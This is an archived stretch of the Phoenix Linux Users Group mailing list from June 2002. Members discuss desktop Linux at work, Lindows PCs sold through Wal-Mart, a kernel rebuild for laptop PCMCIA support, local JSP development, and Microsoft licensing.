PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:21:10 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Mon, 17 Jun 2002 15:21:10 -0700 (PDT) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Sweet! Keep it up! Your next task, should you choose to accept it, is to convert your coworker's desktops to Linux. I'll expect a monthly report on your progress. ;-) ~M On Mon, 17 Jun 2002, charlie bullen wrote: > This is more of a report that either a question or an answer. Fairly long. > > I got my employer to let me bring a linux box to work to use (Suse 7.3 Kde > 2.2, 950 AMD 128 megs ram) . I have been using linux at home for 1.5 years > off and on, but this is new for me as at home I can do what ever I want and > at work, I have tasks assigned to me that must get done in a timley manner in > the way the "boss" wants. I am pleased to report that linux has met the > challange and in fact in some ways is easier and more versitile than the > other OS I've been forced to use. > > I have to have word processing and spread sheet available, for which I am > using open office 1.0. I am using Opera for a browser, but I think I will > change to Mozilla. Konquerer doesn't seem to work on one of out internal > sites. > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > > Enough rambling for now. If there is any interest I'll keep up the reports of > using linux as a desktop in the workplace. > > Charlie > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:35:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Brian Cluff) Date: 17 Jun 2002 15:35:07 -0700 Subject: PLUG is famous! In-Reply-To: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> References: <7D2FB294FA311F4299D03CC8D390437071657B@mainex5.asu.edu> Message-ID: <1024353307.22680.51.camel@fone.snaptek.com> Actually the slashdot effect has been fairly mild on the servers. I'm guessing that the reason other people "feel" it so much is they have a rather server intense page to begin with, either via massive database hits, or with a ton of little images all over the page (thumbnails)...etc etc For the most part, the little plug mailing list server is serving up a text only page that is for the most part static. Even then we only seem to be taking about 1 hit a second. I would think that a 386 could dish that out off a floppy with no problems. Brian Cluff Team Snaptek On Mon, 2002-06-17 at 10:59, Joel Dudley wrote: > Can the servers withstand the slashdot effect? batten down the zombie > processes, release the squid cache! Man I'm a dork. > > Joel Dudley > Faculty Research Associate > Arizona State University > Kumar Laboratory of Evolutionary Functional Genomics > http://lsweb.la.asu.edu/skumar/ From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 22:52:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 15:52:58 -0700 Subject: Building an RPM References: Message-ID: <3D0E684A.8BF8CADD@qwest.net> Never saw a response to this. To the best of my knowledge, Maximum RPM is still a pretty good guide to building rpms. > Do any of you have a recommended reference for building an RPM file? I have > the book "Maximum RPM" but it is dated 1997 and I suspect that there may be > some new information somewhere out there Any suggestions? From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:55:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Digital Wokan) Date: Mon, 17 Jun 2002 18:55:33 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> <002b01c21646$7abaf5f0$0301010a@tickticker.com> Message-ID: <3D0E9315.70102@cox.net> It's not in the physical WalMart stores. It's only available through WalMart.com. Probably one of the few products WalMart carries not assembled by Chinese nearly-slave labor. http://www.alternet.org/print.html?StoryID=12962 tickticker wrote: > I don't believe it's in stores but it is orderable. get yours now in one to > 2 months! From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:06:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (Larry Lauer) Date: Mon, 17 Jun 2002 16:06:49 -0700 Subject: Lindows Message-ID: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Yes. I should have said links to running other distributions on the walmart value pc. I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. Larry -----Original Message----- From: tickticker [mailto:tickticker@cox.net] Sent: Monday, June 17, 2002 2:34 PM To: plug-discuss@lists.plug.phoenix.az.us Subject: Re: Lindows it is running linux. it just has a c/ drive buried in the directory structure. It's either based on suse or debian (i think, i could look it up again if anyone is interested. Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 2:15 PM Subject: RE: Lindows > Also check out slashdot. They have links to how to get Linux running on these machines. > > Larry > > -----Original Message----- > From: Matt Alexander [mailto:m@netpro.to] > Sent: Monday, June 17, 2002 1:36 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > Yup. Only $299. > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > Hey folks, > > Just wondering if anyone has heard anything about Lindows? Just read on > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > Ray > > malbojia@qwest.net > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:10:31 2002 From: plug-discuss@lists.plug.phoenix.az.us (Alpha Zenon Sanchez) Date: Mon, 17 Jun 2002 16:10:31 -0700 (PDT) Subject: Apache, JSP and Jakarta setup question Message-ID: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Hello Linux Users: 1. I wanted to play around (test develop and teach myself) some Java Servlets Programming **Locally Without** having to configure Apache and Linux to work as a Network server. Is this possible? 2. Can Apache serve .html pages and .jsp pages to a local computer even if it is not configured to be on the network? My idea is to use the computer's loopback address to emulate a 'network' setting for Apache, my computer and the browswer. Is this possible? 3. If not possible, am i stuck to learn Samba and need a 'true' client/server environment with a server and a workstation to develop .jsp pages? I plan to use Apache, Jakarta Tomcat and MySQL for testing and learning. I'm currently using Redhat 7.2 and KDE as a desktop environment. Thanks in advance.... BTW - any DeVry guys out there? ===== Thanks, Alpha Zenon Sanchez __________________________________________________ Do You Yahoo!? Yahoo! - Official partner of 2002 FIFA World Cup http://fifaworldcup.yahoo.com From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:12:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:12:36 -0700 Subject: Need Help with Redhat 7.3 Install References: <20020617164510.JUSY3097.lakemtao02.cox.net@smtp.east.cox.net> Message-ID: <3D0E6CE4.F303E6CA@qwest.net> I gave Mark a call this morning, but thought I'd send this out to the list since several people have had this issue with RH7.3 and PCMCIA support on laptops. To fix this requires a rebuild of the kernel and the removal of the pcmcia rpm package from the system. rpm -e kernel-pcmcia-cs Grab the src.rpm for kernel-2.4.18 and the raw tar.gz for the kernel from kernel.org wget ftp://ftp.redhat.com/pub/redhat/linux/updates/7.3/en/os/i386/SRPMS/kernel-2.4.18-4.src.rpm wget ftp://ftp.kernel.org/pub/linux/kernel/v2.4/linux-2.4.18.tar.gz wget http://telia.dl.sourceforge.net/sourceforge/pcmcia-cs/pcmcia-cs-3.1.34.tar.gz cd /usr/src tar -xvzf ~/linux-2.4.18.tar.gz rpm -ivh ~/kernel-2.4.18.src.rpm cd /usr/src/redhat/SOURCES cp kernel-config- /usr/src/linux/.config Alter the config of the kernel: cd /usr/src/linux make menuconfig Remove PCMCIA Support General setup -> PCMCIA/CardBus support -> PCMCIA/CardBus support hit n to remove it, then exit config and save the changes make dep && make clean && make bzImage && make modules && make modules_install Wait for it to finish. On my P150 this took most of the night to do. cd /usr/src/linux/arch/i386/boot cp bzImage /boot/vmlinuz-2.4.18 Assuming you are using grub, edit /etc/grub.conf Assuming you are using lilo, edit /etc/lilo.conf, then rerun lilo Easy way to edit both is to copy the config that is currently booting and rename kernel it is loading. Reboot the system and select the recently compiled kernel. Now rebuild PCMCIA support. cd /usr/src tar -xvzf ~/pcmcia-cs-3.1.34.tar.gz cd pcmcia-cs-3.1.34 make config && make all && make install You should be able to accept the defaults during make config. Once done test by starting it up. /etc/rc.d/init.d/pcmcia start Hope this helps. > I had RH7.0 running on my laptop and I installed RH 7.3 from CDs. However, I cannot get the pcmcia services to work, so I cannot connect to my network. I have to be out of town this weekend, or I would come to the install-fest for help. > > If anyone is willing to spend some time with me getting my laptop up and running, please call me on my cell 602 524-0376. My work laptop was stolen from my car, so I am trying to get my old laptop upgraded and working. Since I cannot get on the 'net I am sending this email from the library, so I will not be able to respond to this email! > > Thanks! > > > > Mark Phillips > Phillips Marketing, Inc. > 480.945.0798 > 480.945.9197 fax > mark@phillipsmarketing.biz > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:14:20 2002 From: plug-discuss@lists.plug.phoenix.az.us (Kevin Brown) Date: Mon, 17 Jun 2002 16:14:20 -0700 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> Message-ID: <3D0E6D4C.40FD894C@qwest.net> > 1. I wanted to play around (test develop and teach > myself) > some Java Servlets Programming **Locally Without** > having to configure Apache > and Linux to work as a Network server. Is this > possible? Yes, have it listen on the loopback address/device and just call it with http://127.0.0.1/ > 2. Can Apache serve .html pages and .jsp pages to a > local computer even if it is not > configured to be on the network? My idea is to use > the computer's loopback address > to emulate a 'network' setting for Apache, my > computer and the browswer. Is this > possible? Same as above. > 3. If not possible, am i stuck to learn Samba and need > a 'true' client/server environment > with a server and a workstation to develop .jsp > pages? > > I plan to use Apache, Jakarta Tomcat and MySQL for > testing and learning. > I'm currently using Redhat 7.2 and KDE as a desktop > environment. > > Thanks in advance.... > > BTW - any DeVry guys out there? From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:28:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Roderick Ford) Date: Mon, 17 Jun 2002 16:28:53 -0700 Subject: Lindows References: <20020617203456.96981.qmail@web13406.mail.yahoo.com> Message-ID: <3D0E70B5.6050608@asu.edu> After a long day, including working on a dual-boot machine, my explanation to my wife of what I had done during the day included the word "Winux" which only added to the confusion. I got a chuckle out of it, but you had to be there, I'm sure. --rod bob smith wrote: > --- Raymond Cantwell wrote: > >>Hey folks, >>Just wondering if anyone has heard anything about >>Lindows? Just read on >>cnet that Wal-Mart is selling Micron PCs with it >>pre-installed. >>Ray >>malbojia@qwest.net > > > I was looking at the Lindows site and it didn't seem > like it was officially out yet. I see a sneak preview > version but this can't be what Walmart is bundling is > it? Do you also have to pay the $99 dollar Lindows > subscription fee every year? > > __________________________________________________ > Do You Yahoo!? > Yahoo! - Official partner of 2002 FIFA World Cup > http://fifaworldcup.yahoo.com > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 23:56:32 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Mon, 17 Jun 2002 16:56:32 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: Am 17. Jun, 2002 schwätzte charlie bullen so: > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? I think mozilla can do tabs. Galeon definitely can. Each 'browser window' then is a virtual window within the browser. It's an excellent feature. Konqueror needs it. ciao, der.hans -- # https://www.LuftHans.com/ # I chose to use the kernel sources as my documentation. ;-) # -- Kevin Buettner From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:21:28 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:21:28 -0400 Subject: PLUG on Slashdot References: <009e01c2162f$07cb6780$6501a8c0@drghastly> Message-ID: <3D0E7D08.BB25F7F2@georgetoft.com> I sincerely believe the retraining costs for switching to Sun StarOffice from Microsoft office would amount to 1 hour per person. Computer Based Training (CBT) can be created as a reference for under $40,000. The cost savings by switching (about $140 per PC per year) would recoup the training expenses in less than a year. Most companies will embark on a venture if they can recoup their investment in 2-5 years. That should make this a no-brainer. I am not advocating replacing Windows with Linux (yet), just the Office Productivity software. As I understand it, if a company buys a PC with Windows installed, the license is still perpetual, not the three-year renewing kind (am I wrong?). That being the case, running Windows still makes sense for now. Office, on the other hand, does not. George "Dr.G" wrote: > > As some comments from /. have been said, all they have to do is go through a > M$ recognized vendor ( hence..3rd party) to use the same type of software. > Also, considering that the COP and Maricopa County are the largest employers > for the state of AZ, I highly doubt they want to go through the retraining > fees it would cost to retrain all those people to use the new software. Your > talking about a LOT of $$, $$ that is coming out of my pocket as a taxpayer, > and more importantly, the other 3.9 million+ taxpayers who (Read: people > over 60's usually) will vote that down if neccessary, or complain enough > that it will probably not go through.. So I'm on the fence with that one. It > should be one step at a time. > > ----- Original Message ----- > From: "Tom Emerson" > To: > Sent: Monday, June 17, 2002 11:31 AM > Subject: Re: PLUG on Slashdot > > > Perhaps the Arizona Center for Law in the Public Interest would have > > something to say about enforcement of current policy and law? > > > > http://www.aclpi.org/ > > > > They have a bit of a reputation fighting for enforcement of ignored > laws... > > > > ---------------------------- > > > > On Mon, 17 Jun 2002, Matt Alexander wrote: > > > > I just noticed on Slashdot this morning that we're featured in regards to > > the Maricopa County thread: > > > > http://slashdot.org > > > > ________________________________________________ > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:18:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 17:18:36 -0700 Subject: linux at work In-Reply-To: References: Message-ID: <200206171718.40191.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 04:56 pm, der.hans wrote: > It's an excellent feature. Konqueror needs it. Konqueror not only needs it, but it has it. Unfortunately, this feature only exists in CVS, but it is slated for 3.1. PS: Last time I checked, you could right-click and add a new tab for that link, or you could add one in the "Window" menu, but it did not automatically open new windows tabbed. This feature will be there, and possibly is, by now. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DnxepNoctRtUIRQRAhAxAJ90gXG0i1Rrfbj52+90valg6uKOKwCeJvwO 5v5KDLBd8s/aI0bPgo47XlE= =kDcc -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:19:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:19:11 -0400 Subject: Walmart selling Linux PC's Message-ID: <3D0E7C7F.D78030DF@georgetoft.com> They ship with Lindows, and start at $299. George -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:31:49 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 20:31:49 -0400 Subject: Apache, JSP and Jakarta setup question References: <20020617231031.6235.qmail@web10605.mail.yahoo.com> <3D0E6D4C.40FD894C@qwest.net> Message-ID: <3D0E7F75.A31781E8@georgetoft.com> Kevin Brown wrote: > > > 1. I wanted to play around (test develop and teach > > myself) > > some Java Servlets Programming **Locally Without** > > having to configure Apache > > and Linux to work as a Network server. Is this > > possible? > > Yes, have it listen on the loopback address/device and just call it with > http://127.0.0.1/ > > > 2. Can Apache serve .html pages and .jsp pages to a > > local computer even if it is not > > configured to be on the network? My idea is to use > > the computer's loopback address > > to emulate a 'network' setting for Apache, my > > computer and the browswer. Is this > > possible? > > Same as above. > > > 3. If not possible, am i stuck to learn Samba and need > > a 'true' client/server environment > > with a server and a workstation to develop .jsp > > pages? > > > > I plan to use Apache, Jakarta Tomcat and MySQL for > > testing and learning. > > I'm currently using Redhat 7.2 and KDE as a desktop > > environment. > > > > Thanks in advance.... > > > > BTW - any DeVry guys out there? > ________________________________________________ I started out doing this on my current workstation, and discovered (a few months later) that this was a mistake. My circumstances may be abnormal, but I ended up having to change over to 192.168.55.1 from 127.0.0.1. (For those that do not recognize the 55 in the above IP - it's VMWare's vmnet1 address.) I needed the ability to surf my development website from the localhost as well as the VMWare sessions I created. By using the 127.0.0.1 address, the VMWare machines could not access the website. Needless to say, returning a DNS answer of 127.0.0.1 for georgetoft.test REALLY did not work well at all for the vmware sessions. But for now, 127.0.0.1 is probably good enough. George From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 00:50:09 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 00:50:09 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <00db01c21644$fccf81c0$6501a8c0@drghastly> Message-ID: On Mon, 17 Jun 2002, Dr.G wrote: > Not when it is OEM I believe. Sorry, you are wrong. All software sold my Microsoft is subject to a License Agreement, which legally is a contract. From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:23:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 18:23:07 -0700 Subject: Lindows References: <2AAC72149C827944B96C854ABD0BCAFF16B745@azmscorp01.corp.azms> Message-ID: <001901c21666$b387c550$0301010a@tickticker.com> it's on the site somewhere Anthony ----- Original Message ----- From: "Larry Lauer" To: Sent: Monday, June 17, 2002 4:06 PM Subject: RE: Lindows > Yes. I should have said links to running other distributions on the walmart value pc. > > I am interested to find out what Windows based software will and will not run on Lindows. It looks like most versions of Office run. > > Larry > > -----Original Message----- > From: tickticker [mailto:tickticker@cox.net] > Sent: Monday, June 17, 2002 2:34 PM > To: plug-discuss@lists.plug.phoenix.az.us > Subject: Re: Lindows > > > it is running linux. it just has a c/ drive buried in the directory > structure. It's either based on suse or debian (i think, i could look it up > again if anyone is interested. > > Anthony > > ----- Original Message ----- > From: "Larry Lauer" > To: > Sent: Monday, June 17, 2002 2:15 PM > Subject: RE: Lindows > > > > Also check out slashdot. They have links to how to get Linux running on > these machines. > > > > Larry > > > > -----Original Message----- > > From: Matt Alexander [mailto:m@netpro.to] > > Sent: Monday, June 17, 2002 1:36 PM > > To: plug-discuss@lists.plug.phoenix.az.us > > Subject: Re: Lindows > > > > > > Yup. Only $299. > > > > http://www.walmart.com/catalog/product.gsp?product_id=1870914 > > > > > > On Mon, 17 Jun 2002, Raymond Cantwell wrote: > > > > > Hey folks, > > > Just wondering if anyone has heard anything about Lindows? Just read on > > > cnet that Wal-Mart is selling Micron PCs with it pre-installed. > > > Ray > > > malbojia@qwest.net > > > > > > ________________________________________________ > > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 01:49:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 18:49:33 -0700 (MST) Subject: linux at work In-Reply-To: <200206172234.g5HMYo226440@PlugList.MyButt.Net> Message-ID: On Mon, 17 Jun 2002, charlie bullen wrote: > > One problem with opera though is that I have several groups of tasks. Each > group requires several programs, including at times 3 or 4 browser windows. I > can use virtual desktops to segregate the task groupings, which has worked > out well, but opera presents a problem as all the opera windows are opening > in the same window. If I used Mozilla, could I open a Mozilla session in a > virtual window and then keeping that session there, open 1 or more sessions > in another window? > Welll... mozilla 1.0 has something called tabbed windows, windows within the window. Look under Edit menu then Perfs then Navigator. You will see a line called "Tabbed Browsing". jzc From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:09:36 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jonathan Claxton) Date: Mon, 17 Jun 2002 19:09:36 -0700 (MST) Subject: InstallFest In-Reply-To: Message-ID: On Mon, 17 Jun 2002, jon@unfm00.com wrote: > You mean you don't have a DVD drive in your box? > Hell man.. I got DVD drives in both of my running systems and they both can play DVDs using Xine! :) Want to see them in action, BE at the fest! :) From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:02:40 2002 From: plug-discuss@lists.plug.phoenix.az.us (Logan Kennelly) Date: Mon, 17 Jun 2002 19:02:40 -0700 Subject: PLUG on Slashdot In-Reply-To: References: Message-ID: <200206171902.45457.voltage_spike@fastmail.fm> -----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > On Mon, 17 Jun 2002, Dr.G wrote: > > Not when it is OEM I believe. > > Sorry, you are wrong. All software sold my Microsoft is subject to a > License Agreement, which legally is a contract. Correct me if I am wrong, but doesn't the vendor agree to the OEM license? If I go buy a laptop with Windows XP today, I won't see a license agreement when I turn the system on. On the other hand, I have a feeling that the laptop will come with little slips of paper with the EULA on there. I might not see them, but that is because I never made a reasonable attempt to read the paperwork. It would be a reasonably weak argument in court to claim I was never informed of the agreement. - -- Logan Kennelly ,,, (. .) - --ooO-(_)-Ooo-- -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.0.6 (GNU/Linux) Comment: For info see http://www.gnupg.org iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 y4HiqlQlhztqiGNHXROsp8o= =7wuH -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:32:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 19:32:44 -0700 Subject: slashdot meets Message-ID: <002101c21670$6d2c1930$0301010a@tickticker.com> This is a multi-part message in MIME format. ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable check out slashdot for an article on slashdot meets or check out the = site at http://slashdot.meetup.com . I'm signed up as tickticker in = chandler. It was JUST announced. anthony ------=_NextPart_000_001E_01C21635.C0A10110 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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------=_NextPart_000_001E_01C21635.C0A10110-- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 02:45:07 2002 From: plug-discuss@lists.plug.phoenix.az.us (Jon K) Date: Mon, 17 Jun 2002 19:45:07 -0700 Subject: InstallFest In-Reply-To: References: Message-ID: <200206171945.07726.jon@unfm00.com> Great! I look forward to seeing that. On Monday 17 June 2002 19:09, Jonathan Claxton wrote: > On Mon, 17 Jun 2002, jon@unfm00.com wrote: > > You mean you don't have a DVD drive in your box? > > Hell man.. I got DVD drives in both of my running systems and they both > can play DVDs using Xine! :) Want to see them in action, BE at the fest! > > :) > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:00:35 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Mon, 17 Jun 2002 23:00:35 -0400 Subject: PLUG on Slashdot References: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: <3D0EA253.32506CEC@georgetoft.com> Logan Kennelly wrote: > > -----BEGIN PGP SIGNED MESSAGE----- > Hash: SHA1 > > On Monday 17 June 2002 05:50 pm, C. Sullivan wrote: > > On Mon, 17 Jun 2002, Dr.G wrote: > > > Not when it is OEM I believe. > > > > Sorry, you are wrong. All software sold my Microsoft is subject to a > > License Agreement, which legally is a contract. > > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. When I bought my computer with XP preloaded, I turned it on, and I was greeted with the EULA, which I had to accept or reject at that time. No paper to read or lose. > On the other hand, I have a feeling that the laptop will come with little > slips of paper with the EULA on there. I might not see them, but that is > because I never made a reasonable attempt to read the paperwork. It would > be a reasonably weak argument in court to claim I was never informed of the > agreement. > > - -- > Logan Kennelly > ,,, > (. .) > - --ooO-(_)-Ooo-- > -----BEGIN PGP SIGNATURE----- > Version: GnuPG v1.0.6 (GNU/Linux) > Comment: For info see http://www.gnupg.org > > iD8DBQE9DpTEpNoctRtUIRQRApWCAJ9+QtNUZaQTkE+F3H5wu5TncwcfVgCfUMd2 > y4HiqlQlhztqiGNHXROsp8o= > =7wuH > -----END PGP SIGNATURE----- > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss -- If you feel you have received a virus from me, please read http://www.georgetoft.com/virus.html because it wasn't me! -- From plug-discuss@lists.plug.phoenix.az.us Tue Jun 18 03:20:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (C. Sullivan) Date: Tue, 18 Jun 2002 03:20:58 +0000 (GMT) Subject: PLUG on Slashdot In-Reply-To: <200206171902.45457.voltage_spike@fastmail.fm> Message-ID: On Mon, 17 Jun 2002, Logan Kennelly wrote: > Correct me if I am wrong, but doesn't the vendor agree to the OEM license? > If I go buy a laptop with Windows XP today, I won't see a license agreement > when I turn the system on. For you to use Microsoft Windows, you must agree to Microsoft's EULA. EULA is a contract. "By breaking this seal, you agree to be bound by.." means just what it appears. Remember, you are not buying the software, you are licensing it. Legally, licenses are contracts. Therefore, the County of Maricopa is entering into contract with Microsoft. Also, remember the whole reason this was brought up in the first place: the County is considering purchasing an Enterprise (i.e. site license) License with Microsoft. That is very much within the guise of what we're talking about here. -Fedl From plug-discuss@lists.plug.phoenix.az.us Mon Jun 17 19:07:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Mon, 17 Jun 2002 12:07:37 -0700 Subject: My letter Message-ID: This is a multi-part message in MIME format. ------=_NextPart_000_0007_01C215F7.92595A70 Content-Type: text/plain; 